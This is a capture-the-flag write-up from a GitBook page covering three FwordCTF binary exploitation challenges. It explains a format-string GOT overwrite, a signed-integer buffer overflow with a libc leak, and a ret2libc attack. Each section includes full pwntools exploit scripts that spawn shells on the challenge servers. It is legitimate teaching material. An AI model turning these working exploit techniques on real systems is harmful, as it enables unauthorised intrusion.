arrow-left

All pages
gitbookPowered by GitBook
1 of 4

Loading...

Loading...

Loading...

Loading...

One Piece Remake

The binary has no protections except Partial RELRO.

The menu has 3 options besides exiting, one of which is secret.

We can read into a shellcode pointer, but only 5 bytes get read. We can execute said shellcode. This is all pretty much useless since 5 bytes of shellcode is not enough to do literally anything useful.

There's a secret option - gomugomunomi. It reads 100 bytes of input(no BOF) and then printfs it, allowing us to execute the classic format string exploit.

I tried to do the simple %p leak, but found no useful addresses on the stack. Instead, I used %s to read my buffer(offset 7, found through pwntools automation) as an address of a string in order to read got entries.

By doing gotaddress + %7$s we can leak got addresses to get a libc leak. We'll use libc-database find yet again to get the remote libc, libc6_2.30-0ubuntu2.2_i386

Then, we'll execute a got overwrite attack by overwriting printf@got with system. Next gomugomunomi, the input will be system'd, so we enter /bin/sh to get dropped into a shell.

But it's not over! On the remote, there is no cat. The solution to read flag.txt is simple - while read line; do echo $line; done < flag.txt

This reveals the flag.

  1. gotaddress+ %7$s to leak libc

  2. Format string overwrite to map printf to system

  3. In gomugomunomi, send /bin/sh

hashtag
Flag: FwordCTF{i_4m_G0inG_t0_B3coM3_th3_p1r4Te_K1NG}

Use while read line; do echo $line; done to read the flag file as cat is nonexistent
from pwn import *
e = ELF("./remake")
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2.2_i386/libc.so.6")
def getproc():
    return e.process() if args.LOCAL else remote('onepiece.fword.wtf', 1236)
def dofmt(data):
    p.sendline(b"gomugomunomi")
    p.recvuntil(b">>")
    p.sendline(data)
    output = p.recvline()
    p.recvuntil(b">>")
    return output
def write_fmt(data):
    proc = getproc()
    proc.recvuntil(b">>")
    proc.sendline("gomugomunomi")
    proc.recvuntil(b">>")
    proc.send(data)
    output = proc.recvline()
    proc.close()
    return output
auto = FmtStr(write_fmt)
p = getproc()
p.recvuntil(b">>")
string = b"/bin/sh\x00"
payload = p32(e.got['puts']) + b'%7$s'
output = dofmt(payload)[4:8]
libcleak = u32(output)
log.info(f"Libc leak: {hex(libcleak)}")
libcbase = libcleak - libc.symbols['puts']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
# Overwrite printf@got with system@GLIBC
payload = fmtstr.fmtstr_payload(auto.offset,{e.got['printf']: libc.symbols['system']})
p.sendline(b"gomugomunomi")
p.recvuntil(b">>")
p.sendline(payload)
p.clean()
p.sendline(b"gomugomunomi")
p.recvline()
p.sendline(b"/bin/sh")
p.interactive()

Pwn

Numbers

Numbers

The program is a constant prompt that... 1. Reads a number from us 2. Checks if the number is greater than 60, if so it tells us we're naughty and exits 3. Reads that amount of data into a 64 length buffer 4. Prints the data 5. Asks if we want to try again, just dont type n

There's also some prompts inbetween but those aren't important. At first glance, this seems perfectly secure. But actually, note this code snippet.

It actually uses atoi to convert our input to a number, and atoi allows signed integers.

This means we can enter a negative number, like -1, and atoi will return 0xffffffff

the read function takes a size_t parameter - it wont think we're trying to read -1 bytes of data, but 4294967295 bytes of data. Now that's a lot of overflow.

PIE is on, so we cant just overwrite the return address of the integer reading function, ret2plt and call it a day. Because it prints our input back at us, we can exploit it similarly to skywriting from redpwn.

As a recap, strings are terminated by null bytes. When a function, like printf in this case, attempts to print a string, it will continue reading data until it reaches a null byte, at which it will stop.

If we make our input long enough, overwriting null bytes and nudging itself next to some data, said data can be leaked. Imagine it like this:

(our input is at the beginning, and we wish to leak the 0xdeadbeef data) currently this reads as an empty string let's fill the input with AAAA

Now, the null bytes have been overwritten, so the 0xdeadbeef is part of the string! This reads to be AAAA\xde\ad\be\ef.

8 bytes from the beginning of our buffer is atoi+16, we can leak this using this method and calculate the libc base. Our input is 72 bytes from the return address, so after leaking we will send 72 bytes of padding + poprdi + /bin/sh + retgadget(stack alignment) + system to overwrite the return address of the buffer reading function and pop a shell.

Then, cat flag.txt to get the flag.

  1. Send size of -1 to gain large buffer overflow

  2. Send 8 bytes to leak libc address(atoi+16)

  3. Use libc-database find to get the remote libc(libc6_2.28-0ubuntu1_amd64)

hashtag
Flag: FwordCTF{s1gN3d_nuMb3R5_c4n_b3_d4nG3r0us}

  read(0,local_10,8);
  iVar1 = atoi(local_10);

Welcome Pwner

Chuck it in ghidra or your favourite decompiler/analyser - we see it prints the system address to us, then uses gets to read an input. This is a classic buffer overflow which we'll attack with ret2libc.

As it prints the libc address of system, we can simply use that to calculate the libc base. The binary is 32-bit, and it reads input into ebp-0x1c, giving 32 bytes of padding until return address overwrite. Then, we just send system + junk + /bin/sh address

Note that we don't know the remote libc - I used libc-database find to get the remote libc binary, which is libc6_2.30-0ubuntu2_i386

So: 1. Receive libc address 2. Calculate libc base 3. Build ret2libc system("/bin/sh") chain 4. Pop shell, cat flag.txt

from pwn import *
NUM_TO_RET = 0x1c + 4
padding = b'A'*NUM_TO_RET
e = ELF("./molotov")
p = e.process() if args.LOCAL else remote('54.210.217.206',1240)
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2_i386/libc.so.6")
system = int(p.recvline(),16)
p.recvline()
libcbase = system - libc.symbols['system']
log.info(f"System address: {hex(system)}")
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
chain = flat(libc.symbols['system'],libc.symbols['exit'],next(libc.search(b"/bin/sh\x00")))
p.sendline(padding + chain)
p.interactive()

hashtag
Flag: FwordCTF{good_j0b_pwn3r}

Use size -1 trick again to overwrite return address and send system("/bin/sh") rop chain to pop a shell
00 00 00 00 de ad be ef
41 41 41 41 de ad be ef
from pwn import *
e = ELF("./numbers")
context.arch = 'amd64'
p = e.process() if args.LOCAL else remote('numbers.fword.wtf', 1237)
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")
def getoutput(data,cont=True):
 p.recvuntil(b"??\n")
 # We send -1 as a number because atoi allows negatives, but read will actually just interpret this as a request to read 0xffffffff bytes, giving us a lot of overflow
 p.send("-1\x00")
 p.recvline()
 # Our input is echoed(safe printf) so we can leak values because of lack of string termination, skywriting style
 p.send(data)
 if not cont:
     return
 p.recvuntil(data)
 ans = p.recvline()
 p.recvuntil(b"?\n")
 p.send('\n')
 return ans[:-1]
num = 0x40
libcleak = getoutput(b'A'*8).ljust(8,b'\x00')
libcleak = u64(libcleak)
log.info(f"Libc leak: {hex(libcleak)}")
libcbase = libcleak - 16 - libc.symbols['atoi']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
padding = b'A'*0x48
rop = ROP(libc)
poprdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
retgadget = (rop.find_gadget(['ret']))[0]
chain = flat(poprdi,next(libc.search(b"/bin/sh\x00")),retgadget,libc.symbols['system'])
getoutput(padding + chain,False)
p.interactive()